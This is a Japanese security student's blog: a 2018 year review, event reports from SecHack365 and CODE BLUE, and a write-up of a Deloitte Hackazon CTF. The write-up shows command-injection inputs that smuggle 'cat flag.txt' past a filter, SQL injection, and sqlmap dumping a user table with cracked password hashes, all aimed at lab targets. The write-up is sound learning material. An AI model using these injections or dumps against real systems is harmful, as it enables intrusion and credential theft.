satto1237’s diary

s4tt01237’s diary

ラーメンとかCTFとかセキュリティとか

2018年の振り返りと2019年の目標

はじめに

完全にポエムになってしまいますが,2018年の振り返りと2019年の目標について書きます.
多分技術的な話はほとんどしないと思います.

2018年の振り返り

1月

ゼノブレイド

ゼノブレイド2にハマってしまい,虚無のような冬休みを過ごした…
1週間ちょっとで100時間くらいプレイしてしまった気がします.

Xenoblade2 (ゼノブレイド2) - Switch

Xenoblade2 (ゼノブレイド2) - Switch

初めての学会発表

そこそこ緊張しましたが,卒論発表の前に学会発表を経験できたので良かったです.
開催地が新潟だったということもあり,新潟二郎もしっかり食べてきました.

f:id:satto1237:20181231205259j:plain

卒論提出

学会に向かう前に提出した卒論がタイトルにスペース(空白)が入っていないという理由でリジェクトされてしまったため,学会帰りの新幹線で慌てて修正した気がします.
提出締切1時間前に大学に到着し,無事に提出できました.

2月

将棋

当時放送していたアニメと藤井5段(当時)に影響され,研究室の留学生と一緒に将棋にハマってしまいました.
ノーマル四間飛車と美濃囲いを覚えて,留学生と1日1局指していた記憶があります.

f:id:satto1237:20181231211707j:plain

卒論発表

多少緊張しましたが炎上することもなく無事に終わりました.
やっぱり卒論発表前に1度学会発表を経験しておくとフィードバックを反映できるため,無難に発表をこなせると思います.

卒業確定

なんとか落単せずに卒業要件を満たすことができました…

f:id:satto1237:20181231213058p:plain

3月

冬キャン!

またアニメに影響されて友人と冬キャン!をしました (現地まで片道60kmですが自転車圏内なので自転車で行きました).
当日は最低使用温度5℃のシュラフで寝たのですが,最低気温が2℃だったので案の定風邪を引きました(それはそう).
風邪を引いた状態で自転車で帰宅するのは結構辛かった記憶があります.

f:id:satto1237:20181231215525p:plain 友人はモザイク処理しました

卒業式

人生で最も卒業感がない卒業式だったと思います.
4月からも同じ大学の大学院に通うのでそれはそう

卒業研究で表彰されたりしました.

4月

入学式

ITFを聴きに行った.

研究室のメンバーが増える

外部M1と新B4が配属されたため,元々3人しかいなかった研究室のメンバーが3倍以上になりました.
この頃ようやく研究室に行けば誰かがいるという状態になりました.
3月までは研究室に行っても自分しかいないというのが当たり前だったので感動しました.
多分新しくできた研究室あるあるなのかもしれません.

5月

卒業旅行?

京都と岡山に旅行に行ってラーメンを食べました.

f:id:satto1237:20181231222716j:plain f:id:satto1237:20181231222727j:plain

SecHack365の選考に通過

セキュリティ界隈の強い人達に出会えたのが本当に大きかった.

satto.hatenadiary.com

SecHack365@神奈川

satto.hatenadiary.com

CTFを始める

SECCON Beginners CTF に参加し,セキュリティ何もわからんとなりCTFを始めました.

6月

TA業務終了

4月から担当していたTA業務が終了しました.
演習時のサポートと課題の採点が主な業務でしたが,自分にとっていい復習になりましたし,お金も貰えて一石二鳥でした.

SecHack365@北海道

satto.hatenadiary.com

7月

MBP購入

自分にとって3台目のMBPを購入しました.

補足
1台目:弟にコーラをかけられて死去 (2011/10 ~ 2012/10)
2台目:スペック不足で買い替え (2012/10 ~ 2018/07)

f:id:satto1237:20181231224221j:plain

インターン (1)

某社の1 week インターンに参加しました.
自分の専門分野とはあまり関係ないところでしたし, インターンの内容もグループワーク(?)がメインであまり実践的とはいえないものでしたが, 参加者や社員さんのロジカルな部分に圧倒されました.
この頃,優秀な人達に囲まれて仕事ができたら楽しそうだなという思いが芽生えました.

8月

SecHack365@福岡

satto.hatenadiary.com

夏キャン!

帰省した際に友人と夏キャン!をしました.

f:id:satto1237:20181231230619j:plain

9月

インターン (2)

某社の 2 weeks インターンに参加しました.
ここでの業務内容は自分の専門分野に近いものであり, 就職のイメージをより具体的にできた気がします.

上司と二郎インスパイアに行くという実績を解除しました

f:id:satto1237:20181231231453j:plain

CTFのwrite-upを書き始める

5月から時間がある週末にはCTFに取り組んでいましたが,write-upをほとんど書いていなかったため(やるだけになっていたため),知識があまり定着していませんでした.
なので,9月以降はできるだけwrite-upを書くようにしています(まともに解けたときは).

satto.hatenadiary.com

10月

SecHack365@山形

satto.hatenadiary.com

CODE BLUE

CODE BLUE に学生スタッフとして参加しました.

satto.hatenadiary.com

CTFで入賞?

嬉しかったです.

satto.hatenadiary.com

11月

研究と大学関連の雑務

10月にCTFで遊んだりやSecHack関連のあれこれをやっていたせいで研究の進捗が微妙でした.
また,大学関連の雑務もたまっており,毎日何かしらのタスクを消化しなければいけなく,かなり忙しかったという記憶しかありません.

面接

この頃から早期選考(就活)が始まりました.

12月

SecHack@愛媛

satto.hatenadiary.com

論文

SecHack愛媛回が終わってから2週間ほどは実験をしたり,論文を書いていました.

内定

インターンにいった某社から内定を頂きました.
今後についてはじっくり考えたいと思います.

2019年の目標

国際学会で発表

大学院生なので(それはそう).

研究頑張ります.

SECCON 本戦(国内)に出場

現在,2チームに所属しているのでどちらで参加するかは予選までに決めておかなければいけませんが,どちらのチームで参加した場合でも戦力になれるように日々精進したいと思います.
個人的にはCrypto, Webの勉強を続けつつ,Rev, Pwnにも手を広げていけるように頑張っていきたいです.
(SECCONはRev,Pwnができないと楽しめないので)

就活

インターンや早期選考を通じて,自分のやりたいことがようやく見えてきたのであと何社か受けてみようと思っています.

健康

2018年は想像していたよりも忙しく,趣味の1つである自転車にほとんど乗れませんでした.
(2017年の走行距離:約3000km, 2018年の走行距離:約200km)
加えて,家の近くに美味しい二郎インスパイアができてしまい,不健康が加速する1年になってしまいました.

2019年はラーメンを抑えつつ,自転車に乗って健康な1年にしたいです(雑).

セキュリティ

一応自分の専門はセキュリティなのですが,狭く浅くしかセキュリティを知りません(セキスペレベル)…
2019年はせめて広く浅く,できれば広く知った上で1つの分野を深かめていきたいなと思います.

SecHack365@愛媛に行ってきた話

SecHackのオフラインイベントで愛媛に行ってきました(11/30~12/02)

0日目 (11/29)

23:00

学会の講演締切の前日ということで色々と忙しかった…
夕飯を作る気力なかったので研究室帰りにカレーうどんを食べた.
家に帰ってから15分程度で愛媛回の宿泊準備を終えて就寝.

1日目 (11/30)

05:30

起床.

09:00

羽田空港到着.
空港での待ち時間は自分の担当箇所のデモの確認をしていた.

11:20

松山空港到着.
人生初の四国だったのでテンションがあがった.
噂では聞いていたが本当に蛇口からみかんジュースがでて笑ってしまった.

f:id:satto1237:20181203130624j:plain

11:30

リムジンバスにのって道後温泉に向かった.
道中で路面電車?を見かけたので鉄オタに写真を送ってみたら「坊っちゃん列車じゃん。こいつ方向転換面白いから絶対見ろよ」と言われたのですが見れませんでした.

f:id:satto1237:20181203132344j:plain

f:id:satto1237:20181203132451p:plain

12:10

道後温泉駅着.

f:id:satto1237:20181203132944j:plain

12:30

昼飯🍜

f:id:satto1237:20181203133130j:plain

14:20

会場到着.
自分たちのチームの発表までプレゼン資料の手直しをしていた.

17:00

プレゼン.
フィードバックとして「全体的によくできてるんだけど尖ったものがない」「最初から80点を目指して作ってる感じ」「パッションを持てばもっと尖ったものができる」というアドバイスを多く頂いた.
既存サービスを調査してそことの差分を推したのですがそれでも不十分ということでした.
尖ったものを作るのって難しいなと思った.

18:00

夕飯(圧倒的人権).

f:id:satto1237:20181203150538j:plain

f:id:satto1237:20181203150608j:plain

f:id:satto1237:20181203150627j:plain

19:00

資料を直しつつ他の人達の発表を聞いた.

20:00

米空軍少佐(サイバー部隊)の講演を聴講.
日本とアメリカのセキュリティ意識の差を痛感した (正確には自衛隊 と US AIRFORCE の差) .

21:00

温泉(圧倒的人権).

26:00

セルフナイトチャレンジ.
チームメンバがゴリゴリ進捗だしてるときに自分はパケットキャプチャして遊んでました .

2日目 (12/01)

08:30

起床チャレンジ失敗.
5分で着替えて5分で朝食を食べた.

f:id:satto1237:20181203151541j:plain

09:00

デモ & ポスター発表.
ここでも1日目と同様のアドバイスをもらった.
尖ったプロダクトとは…

12:30

昼飯.

13:30

散策.
レクリエーションとして近くの山を散歩した.
滝と紅葉がいい感じだった (語彙力).

f:id:satto1237:20181203152007j:plain

f:id:satto1237:20181203152032j:plain

f:id:satto1237:20181203152254j:plain

14:00

15:00まで自由時間ということだったので部屋に戻って昼寝した.

15:00

修了生LT.
修了生強い人しかおらんな…となった.
友利奈緒(セキュリティ)さん強スギィ!

15:30

沖縄回までに何をやっていくのかを話し合った.
あとはシステム構成図やポスターについてフィードバックをもらったのでそこを修正したり,脆弱性検査の詰めが甘かったのでそこを確認したりしてた.

18:00

夕飯 (圧倒的人権).
f:id:satto1237:20181203153010j:plain

19:00

ゲスト講演 (1).
内容はAIとの付き合い方についてでした.
簡単な技術紹介の後はマインド的な部分の話でした.
なかでも「技術を手段として使っていくというのは確かにいいことだけれども技術を目的として極めていく人間がいないと新しいものは生まれてこない.みなさんにはそういう人になってもらいたい.」という言葉は就活で身の振り方を考えていた自分には結構刺さりました.

20:00

ゲスト講演 (2).
桂三幸氏による寄席でした.
やはりプロの方ということで面白かったです.

21:00

温泉 (圧倒的人権).

26:00

セルフナイトチャレンジ.

3日目 (12/02)

08:30

起床チャレンジ失敗.
無意識にアラームを止めてしまうのでもうだめ.
5分で着替えて朝食へ

f:id:satto1237:20181203154406j:plain

09:00

自分たちの発表までは資料直しと今後についての話し合いをしていました.
この話し合いでちょっとおもしろいアイデアがでたので頑張り次第では尖ったプロダクトになるのでは???となりました.

11:45

プレゼン.
発表時間を3分オーバーしてしまった.
プレゼンが終わってから「これ学会だったら強制終了やな(笑)」という話をしたのですが笑い事ではないですね.
本番は時間厳守でいきます (?)

12:00

昼飯.

13:00

資料直し.

14:30

クロージング.

15:00

解散.

16:20

松山空港到着.
ラーメン🍜食べてお土産買って羽田へ

f:id:satto1237:20181203155203j:plain

19:20

羽田空港到着.

20:10

ゆゆ式展到着.

ゆゆ式10周年記念展開催決定! -TVアニメ「ゆゆ式」公式サイト-

f:id:satto1237:20181203155410j:plain

魂が震えた.

21:30

自宅到着.
バス+飛行機+モノレール+電車という移動のせいでかなり疲れた.

まとめ

  • Metasploit おじさんになる
  • 就活と研究と並行してSecHackの進捗もだしていく (願望)
  • 年末年始もだらけないでがんばる

CODE BLUE 2018 に学生スタッフとして参加してきた話

はじめに

CODE BLUE 2018 の学生スタッフの選考を通過したので,学スタとしてCB2018に参加してきました.

最初に書きますが学生スタッフめちゃくちゃオススメです!
以下オススメポイント

  • 交流日(?):0.5日 + 業務日:1日 + 聴講日:1日
  • ホテル付き(条件あり)
  • 参加費無料
  • CB Tシャツ貰える
  • セキュリティ界隈の強い人達に会える

codeblue.jp

f:id:satto1237:20181105005046j:plain

0日目 (10/31)

12:30

集合前にしっかりラーメン食べました💪🏻🍜 f:id:satto1237:20181105004002j:plain

13:30

13:30に会場集合でした.
人権のある集合時間で圧倒的感謝

14:00

集合後は事前準備をするのかなと思っていたら学生スタッフ同士の交流時間でした.
強い学スタのみなさんと頑張って名刺交換しました.
スポンサー企業の人とも頑張って名刺交換しました.
今回は「ゆるい名刺(Twitter, Github, hatena blog, CTFteam, 好きなラーメンを書いたモノ)」と「フォーマル?な名刺(本名と所属を書いたモノ)」を用意したので企業の人ともしっかり名刺交換できました.

交流会後に軽く業務説明があり,解散となりました.

18:30

ホテルに戻ってから何人かで飲みに行きました.
同年代かつ共通の分野に興味がある人達との会話は楽しいですね.
f:id:satto1237:20181105005245j:plain

1日目 (11/1)

08:30

自分は聴講日だったので8時半起きだったのですが業務日だった学スタは5時半頃に起きてました.

10:00

F-SecureのMikko Hypponen氏による Cyber Arms Race を聴講しました.

f:id:satto1237:20181105010449j:plain

11:00

Mikko氏の基調講演を聞いたあとは以下のセッションを聴講しました.

  • Mirai’s Botnet#14 - how BestBuy and Deutsche Telekom ruined my (an many others) Xmas of 2016
  • Watch the Drop! A Case Study in Transnational Cyber-Criminal Money Laundering
  • Smart Fuzzing XPC & XNU
  • Wow, PESSR has Eroded Apple in Blink - Fun and Profit to Gain Dozens of iOS Vulnerabilities in Minutes by (P)ortable (E)xtensible (S)criptable (S)eed (R)eproducible Mobile Fuzzer

15:30

聴講でちょっと疲れたので15時半以降はDeloitte CTFに参加したり企業のブースを見て回ってました.

satto.hatenadiary.com

富士通のブースを見学しに行ったらバイナリかるた(バイナリを読んでフォーマットを当てるゲーム)があり,「当てたらあげるよ」と言われたので挑戦してGETしました!
簡単な問題で助かりました…(JPEG)

バイナリかるた

f:id:satto1237:20181105011849j:plain

18:00

Close後は何人かでラーメンを食べに行きました💪🏻🍜

f:id:satto1237:20181105011240j:plain

21:00

翌日は学スタ業務日で早起きしなければいけないのに何人かで部屋にあつまり,黙々とDeloitte CTFをやっていました.

26:30

就寝???

2日目 (11/2)

06:00

起床…

08:00

ドアキーパーをCloseまでやりました.
英語で話しかけられたときに固まらずにカタコト英語で対応できたので必要最低限の仕事はできたのではないかと思います.

19:00

ネットワーキングパーティー
(写真撮り忘れました)

f:id:satto1237:20181105012712j:plain

21:15

ダーツバーで二次会 (写真撮り忘れました)

強い人達のLT聞けたのでよかった.
まだ名刺交換できてなかった人とも名刺交換できたのよかった.

まとめ

  • CODE BLUE いい感じですね
  • 学生スタッフはアド
  • 来年はCBSOCとかCBNOC側で参加してみたいなと思った
  • 色々と刺激を受けたのでモチベが上がった
  • 強くなるぞ💪🏻

Deloitte Tohmatsu Risk Service CTF Write-up

はじめに

CODE BLUE 2018 に学生スタッフとして参加した際にDeloitte CTFにも参加したのでそのWrite-upです.

Deloitte CTF とは

仕事中にハッキングの問題に取り組んだりしていると怒られませんか?Deloitte Cyber Risk Servicesでは、ハッキングの問題に取り組み、学び、解決するスキルが業務を遂行する上で非常に重要なことであると考えられています。そのため、Deloitte Cyber Risk Servicesでは、Hackazonプラットフォームを活用し、ハッキングの腕前やサイバーセキュリティの専門的スキルを日々鍛えることを仕事の一部としているようなプロフェッショナルも存在しています。

Hackazonは、Deloitteによって開発されたCapture the Flag(CTF)プラットフォームです。今回、日本のCodeBlueイベントに合わせ、Hackazonプラットフォーム内でハッキングチャレンジを準備しました。このCTFはオンラインで楽しむことができますが、DTRSブース内にもあなたの最高のハッキングスキルを披露するための席を設けています。この機会に是非、当社CTFに挑戦してください!

優秀な成績の方には、優秀賞を差し上げます。本CTFは、11月3日(午前6時59分まで)まで有効です!

Hackazon Portal

成績

1人で参加して 3位 / 65人中(チーム中?) でした.
f:id:satto1237:20181104191556p:plain

優秀な成績の方には、優秀賞を差し上げます。

これって何位まで貰えるんでしょうか?1位の人だけかな?

追記 [2018/11/13]

賞品が届きました!
MALWOPOLY(MONOPOLYのセキュリティ版?)とポロシャツを頂きました!
DTRSさんありがとうございます!
MALWOPOLYは余裕ができたら研究室で遊んでみたいと思います!

f:id:satto1237:20181113175712j:plain

ACTIVE INFORMATION GATHERING - DNS [MISC 60]

DNS - NAME SERVER [10 POINTS]

What is the name server for the "hacklab.local" zone? The DNS server can be found on 10.6.0.2

アプローチ:hostコマンド

> host -t ns hacklab.local 10.6.0.2
Using domain server:
Name: 10.6.0.2
Address: 10.6.0.2#53
Aliases:

hacklab.local name server ns.hacklab.local.

ns.hacklab.local

DNS - MAIL SERVER [20 POINTS]

What is the mailserver for the "hacklab.local" zone? The DNS server can be found on 10.6.0.2

アプローチ:hostコマンド

> host -t mx hacklab.local 10.6.0.2
Using domain server:
Name: 10.6.0.2
Address: 10.6.0.2#53
Aliases:

hacklab.local mail is handled by 10 mail.hacklab.local.

mail.hacklab.local

因みに10はMXレコードのプライオリティです.
この問題は途中まで主催者側がflagを間違えていたので苦労しました

DNS - ZONE TRANSFER [30 POINTS]

Perform a zone transfer for the "hacklab.local" zone, submit the hidden flag. (The answer starts with "CTF") The DNS server can be found on 10.6.0.2

アプローチ:hostコマンド

> host -t axfr hacklab.local 10.6.0.2
Trying "hacklab.local"
Using domain server:
Name: 10.6.0.2
Address: 10.6.0.2#53
Aliases:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37365
;; flags: qr aa ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;hacklab.local.         IN  AXFR

;; ANSWER SECTION:
hacklab.local.      604800  IN  SOA hacklab.local. root.hacklab.local. 30000 604800 86400 2419200 604800
hacklab.local.      604800  IN  NS  ns.hacklab.local.
hacklab.local.      604800  IN  MX  10 mail.hacklab.local.
dev.hacklab.local.  604800  IN  A   10.6.0.2
mail.hacklab.local. 604800  IN  A   10.6.0.2
ns.hacklab.local.   604800  IN  A   10.6.0.2
ZoneTransfer.hacklab.local. 604800 IN   TXT "CTF{ZoneTransfer}"
hacklab.local.      604800  IN  SOA hacklab.local. root.hacklab.local. 30000 604800 86400 2419200 604800

CTF{ZoneTransfer}

PASSIVE INFORMATION GATHERING [MISC 60]

GOOGLE HACKING [10 POINTS]

Who is the CEO of Deloitte Global? (Submit the firstname and lastname)

アプローチ:ググる

Punit Renjen

IP ADDRESS LOOKUP [20 POINTS]

Use the tool "nslookup" to determine the IP address of www.google.jp

アプローチ:色々と試す

候補になるIPアドレスがたくさんあるので色々と試していきます.

172.217.161.67

これは悪問なのでは?(下の問題のIPアドレスflag?)

WHOIS - IP OWNER [10 POINTS]

Who is the owner (OrgName) of the IP address: 172.217.161.67?

アプローチ:whois

> whois 172.217.161.67
~~~
OrgName:        Google LLC
OrgId:          GOGL
Address:        1600 Amphitheatre Parkway
City:           Mountain View
StateProv:      CA
PostalCode:     94043
Country:        US
RegDate:        2000-03-30
Updated:        2018-10-24
Comment:        Please note that the recommended way to file abuse complaints are located in the following links.
Comment:
Comment:        To report abuse and illegal activity: https://www.google.com/contact/
Comment:
Comment:        For legal requests: http://support.google.com/legal
Comment:
Comment:        Regards,
Comment:        The Google Team
Ref:            https://rdap.arin.net/registry/entity/GOGL
~~~

Google LLC

WHOIS - DOMAIN OWNER [20 POINTS]

Who is the owner (Registrant) of the domain: deloitte.jp?

アプローチ:whois

> whois deloitte.jp
~~~
Domain Information: [ドメイン情報]
[Domain Name]                   DELOITTE.JP

[登録者名]                      有限責任監査法人トーマツ
[Registrant]                    Deloitte Touche Tohmatsu LLC

[Name Server]                   ns01.tohmatsu.co.jp
[Name Server]                   dns3.odn.ne.jp
[Name Server]                   dns-a.iij.ad.jp
[Name Server]                   ns11.tohmatsu.co.jp
[Signing Key]

[登録年月日]                    2001/03/26
[有効期限]                      2019/03/31
[状態]                          Active
[最終更新]                      2018/04/01 01:05:11 (JST)
~~~

Deloitte Touche Tohmatsu LLC

NETWORK SNIFFING [NET 140]

WIRESHARK 1 [15 POINTS]

Who logged into 192.168.0.1? (Submit answer as username/password) File: 01_telnet.pcap

アプローチ:wireshark

f:id:satto1237:20181104202156p:plain

fake/user

WIRESHARK 2 [15 POINTS]

What command did the administrator use, after logging in to the system? (Submit the full command as answer, for example: /sbin/ls webfolder) File: 01_telnet.pcap

アプローチ:wireshark

f:id:satto1237:20181104202458p:plain

/sbin/ping www.yahoo.com

WIRESHARK 3 [15 POINTS]

What type of nmap scan is performed? (Submit the appropriate flag set on the packer, for example: FIN) File: 02_nmap_scan.pcap

アプローチ:wireshark

SYN

WIRESHARK 4 [15 POINTS]

What protocol is used to chat? File: 03_chat.pcap

アプローチ:当該パケットのプロトコルを確認する

MSNMS

WIRESHARK 5 [20 POINTS]

This is a conversation between ?????@hotmail.com and ?????@hotmail.com (Submit the answer in the following format: userA/userB)? File: 03_chat.pcap

アプローチ:wireshark

f:id:satto1237:20181104202953p:plain

tesla_brian/tesla_thomas

WIRESHARK 6 [20 POINTS]

What is the IP of the FTP server? File: 04_ftp.pcap

アプローチ:wireshark

FTPサーバのIPなのでログイン試行されてる方のIPを答えます.

10.121.70.151

WIRESHARK 7 [20 POINTS]

What service is used? (Look in the protocol column in Wireshark) File: 05_foobar.pcap

アプローチ:wiresharkの統計機能

f:id:satto1237:20181104204010p:plain

Gnutella

WIRESHARK 8 [20 POINTS]

Accountnumber used? File: 06_covertchannnel.pcap

アプローチ:grep

06_covertchannnel.pcapだけファイルサイズが小さく,grepだけでいけるやろと思ったのでgrepしました.

> strings 06_covertchannel.pcap | grep account
BlueChat10.100.17.48   Transfer all of the funds to account number 1192828231-0                                                 nI
BlueChat10.100.17.48   Transfer all of the funds to account number 1192828231-0

1192828231-0

ACTIVE INFORMATION GATHERING - NMAP [NET 140]

NMAP 1 [10 POINTS]

Perform a nmap scan on host 10.6.0.2. Which ports does the system expose? (Submit the open ports seperated by a comma (example: 80,443,1337))

アプローチ:nmap

> nmap 10.6.0.2
Nmap scan report for 10.6.0.2
Host is up (0.34s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 65.07 seconds

21,80,3306

NMAP 2 [20 POINTS]

Perform a nmap scan on host 10.6.0.2. Which service runs on port 21?

アプローチ:well-known ports

ftp

NMAP 3 [30 POINTS]

Perform a nmap scan on host 10.6.0.2. What version of Apache does the system have installed?

アプローチ:-A オプション

> nmap -A 10.6.0.2
Nmap scan report for 10.6.0.2
Host is up (0.52s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.2
80/tcp   open  http       Apache httpd 2.4.18 ((Unix))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.18 (Unix)
|_http-title: Site doesn't have a title (text/html).
110/tcp  open  tcpwrapped
143/tcp  open  tcpwrapped
993/tcp  open  imaps?
995/tcp  open  pop3s?
3306/tcp open  mysql      MySQL (unauthorized)
Service Info: OS: Unix

Apache/2.4.18

NMAP 4 [40 POINTS]

Read the nmap manual page and figure out how to conduct a ACK scan with OS identification and scan fewer ports then normal (For example: nmap sS -A -P1).

アプローチ:nmap manualを読む

nmap.org

nmap -sA -O -F

scan fewer ports then normal

の解釈が難しかった.
デフォルトポートスキャン数を調べて -pで色々指定してた(結局-Fだけで良かった).

SIMPLE NSLOOKUP TOOL [WEB 100]

Our corporate DNS servers block lookups to some of my favourite sites. I setup this simple tool on my server so I can still access them from work.

Can you test it for me and make sure it is not possible to call any other binaries?

f:id:satto1237:20181104211103p:plain

アプローチ:コマンドインジェクション

色々と探ってみるとコマンドインジェクションができそうだということが分かります.

-> ; ls

app.py
app.pyc
flag.txt
static
templates

-> ; cat flag.txt

Oops, not as secure as I thought!
CTF{9f947ab476f47fc32da2b8e5ffb41f97}

CTF{9f947ab476f47fc32da2b8e5ffb41f97}

SIMPLE NSLOOKUP TOOL V2 [WEB 150]

Version 1 of our nslookup tool was vulnerable to command injection. As a fix I blocked the common command execution tricks (;&$><`!).

Can you test version 2 for me and make sure it is not possible to call any other binaries?

f:id:satto1237:20181104212005p:plain

アプローチ:パイプ

V1と同様のやり方ではコマンドインジェクションできないことが分かります.
そこで,common command execution tricks に着目します.
よく確認するとパイプ(|)が含まれていないことに気づきます.

-> | cat flag.txt

Oops, not as secure as I thought!
CTF{9f947ab476f47fc32da2b8e5ffb41f97}

CTF{9f947ab476f47fc32da2b8e5ffb41f97}

これV1とflagが変わってないんですけど大丈夫ですかね

CODE BLOO [WEB 725]

f:id:satto1237:20181104213447p:plain

CodeBloo

EXTRA FLAG [50 POINTS]

Time to warm up! Can you get the extra flag on the home page?

アプローチ:ページソースの編集

Receive an extra flagボタンをクリックするとflagが取れそうですが,クリックできないようになっています.

<br /><br /><a class="btn btn-primary btn-lg disabled" href="#" onclick="var key = this.id.split('flag')[1]; alert(document.getElementById('extraflag').innerText.split('').map( (x, i) => String.fromCharCode(x.charCodeAt(0) ^ key.charCodeAt(i % key.length))).join(''))" role="button" id="extraflag31337">Receive an extra flag</a>

disabledを消してあげるとボタンがクリックできるようになります.
f:id:satto1237:20181104214404p:plain

CTF{code_blue_extra_flag}

ANIMATE [50 POINTS]

Wait.. an extra flag? That means we missed the first flag! Where could it be?

アプローチ:WebM

問題文から動画を再生しろということが分かる(?)のでページソース内から関連ワードを探します(今回の場合はwebmが該当).

https://codebloo.challenge.hackazon.org/static/logo-bloo.webm#t=0

リンク先の動画の最後にバーコードが表示されるので読み取ります.

f:id:satto1237:20181104215522p:plain

CTF{bloo_has_a_barcode}

UGLY [50 POINTS]

Those scripts look damn ugly... surely we can make it look nicer?

アプローチ:script.jsを確認

ChromeデベロッパーツールSourcesscript.jsを確認します

// You found the source mapping flag!
// CTF{bloo_hid_it_in_the_source_map}

CTF{bloo_hid_it_in_the_source_map}

COLOUR CODED MESSAGES [75 POINTS]

Can you figure out what weird message Bloo was sending to his friends?

f:id:satto1237:20181104220156p:plain

アプローチ:color code to ascii

ソースコードからカラーコードを引っこ抜いてcolor.txtとして保存します.

<span style="background: #4c6f72;"></span>
<span style="background: #656d20;"></span>
<span style="background: #697073;"></span>
<span style="background: #756d20;"></span>
<span style="background: #646f6c;"></span>
<span style="background: #6f7220;"></span>
<span style="background: #736974;"></span>
<span style="background: #20616d;"></span>
<span style="background: #65742c;"></span>
~略~

適当なスクリプトを書いてasciiに変換します.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import binascii

if __name__ == '__main__':

    colors = []
    with open('color.txt', encoding='utf-8') as f:
        for line in f:
            line = line.rstrip('\r\n')
            colors.append(line)

    flag = [binascii.unhexlify(color).decode('utf-8') for color in colors]
    print(''.join(flag))
> python solve.py
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec risus lacus, tristique at convallis quis, pretium eu ligula. Suspendisse tempor nunc quis odio ullamcorper, ac tincidunt est porta. Interdum et malesuada fames ac ante ipsum primis in faucibus. Nulla arcu arcu, finibus non condimentum quis, vehicula et nulla. Nullam posuere felis leo, quis volutpat neque rutrum eget. Maecenas eu consectetur urna, non tristique felis. Donec aliquam dui eget ornare maximus. Integer nunc nibh, imperdiet a ipsum vitae, lacinia facilisis ex. Cras blandit dolor ac porta facilisis. Pellentesque finibus ultricies orci ut consectetur. Pellentesque sit amet lobortis mi. Sed eleifend justo id nibh venenatis, sed pretium quam blandit.
Congratulations... you found the flag: CTF{code_blue_red_purple}

CTF{code_blue_red_purple}

LOGIN [50 POINTS]

Bloo really needs to do a security checklist 101 before publishing websites to the Internet... can you login?

アプローチ:SQLi

普通のSQLiでいけます.

f:id:satto1237:20181104221237p:plain

Welcome, guest. From the database, I got that your favorite colour is blue!
Guests get an extra flag! CTF{blue_dabedie_dabeda}

SUPERUSER ACCESS GRANTED [150 POINTS]

Bloo left another vulnerability in the website and people somehow know his plaintext password! What is Bloo's password?

アプローチ:💪🏻ゆとりは黙ってsqlmap💪🏻

tableの一覧を調べる

> sqlmap -u 'https://codebloo.challenge.hackazon.org/login?username=1&password=2' --tables
~略~
Database: bloo
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+
~略~

users tableの中身をdump

> sqlmap -u 'https://codebloo.challenge.hackazon.org/login?username=1&password=2' -T users --dump
~略~
Database: bloo
Table: users
[2 entries]
+-------+----------+------------------------------------------+
| color | username | password                                 |
+-------+----------+------------------------------------------+
| blue  | guest    | 084e0343a0486ff05530df6c705c8bb4 (guest) |
| red   | admin    | 3730945b84a6e2146faab7c0d6c02365         |
+-------+----------+------------------------------------------+
~略~

passwordMD5で保存されているようなのでググれば出てきます.

guest : guest
admin : codezero

Blooってadminなのか?と思いながらcodezeroを提出すると通ったのでBlooadminです(?)

VAULT [200 POINTS]

Bloo has hidden his secrets in the vault. Were you able to recover his password?

f:id:satto1237:20181104223712p:plain f:id:satto1237:20181104223722p:plain

アプローチ:WebAssemblyを動的解析

var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,136,128,128,128,0,1,96,3,127,127,127,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,147,128,128,128,0,2,6,109,101,109,111,114,121,2,0,6,118,101,114,105,102,121,0,0,10,203,131,128,128,0,1,197,131,128,128,0,1,1,127,65,0,33,3,2,64,32,2,65,28,71,13,0,2,64,32,0,13,0,65,1,33,3,32,1,65,195,0,70,13,1,11,65,1,33,3,2,64,32,0,65,1,71,13,0,32,1,65,212,0,70,13,1,11,2,64,32,0,65,2,71,13,0,32,1,65,198,0,70,13,1,11,2,64,32,0,65,3,71,13,0,32,1,65,251,0,70,13,1,11,2,64,32,0,65,4,71,13,0,32,1,65,233,0,70,13,1,11,2,64,32,0,65,5,71,13,0,32,1,65,237,0,70,13,1,11,2,64,32,0,65,6,71,13,0,32,1,65,223,0,70,13,1,11,32,0,65,7,70,32,1,65,225,0,70,113,13,0,32,0,65,8,70,32,1,65,223,0,70,113,13,0,2,64,32,0,65,9,71,13,0,32,1,65,247,0,70,13,1,11,2,64,32,0,65,10,71,13,0,32,1,65,229,0,70,13,1,11,32,0,65,11,70,32,1,65,226,0,70,113,13,0,32,0,65,12,70,32,1,65,225,0,70,113,13,0,32,0,65,17,70,32,1,65,226,0,70,113,13,0,32,0,65,16,70,32,1,65,237,0,70,113,13,0,32,0,65,115,106,65,2,73,32,1,65,243,0,70,113,13,0,32,0,65,15,70,32,1,65,229,0,70,113,13,0,2,64,32,0,65,18,71,13,0,32,1,65,236,0,70,13,1,11,32,0,65,19,70,32,1,65,249,0,70,113,13,0,32,0,65,20,70,32,1,65,223,0,70,113,13,0,32,0,65,21,70,32,1,65,232,0,70,113,13,0,32,0,65,22,70,32,1,65,225,0,70,113,13,0,2,64,32,0,65,23,71,13,0,32,1,65,227,0,70,13,1,11,32,0,65,24,70,32,1,65,235,0,70,113,13,0,32,0,65,25,70,32,1,65,229,0,70,113,13,0,2,64,32,0,65,26,71,13,0,32,1,65,242,0,70,13,1,11,32,0,65,27,70,32,1,65,253,0,70,113,15,11,32,3,11]);
var wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(buffer));

function verify(code) {
  var correct = true;
  for (var c = 0; c < code.length; c++) {
    correct &= wasmInstance.exports.verify(c, code.charCodeAt(c), code.length);
  }
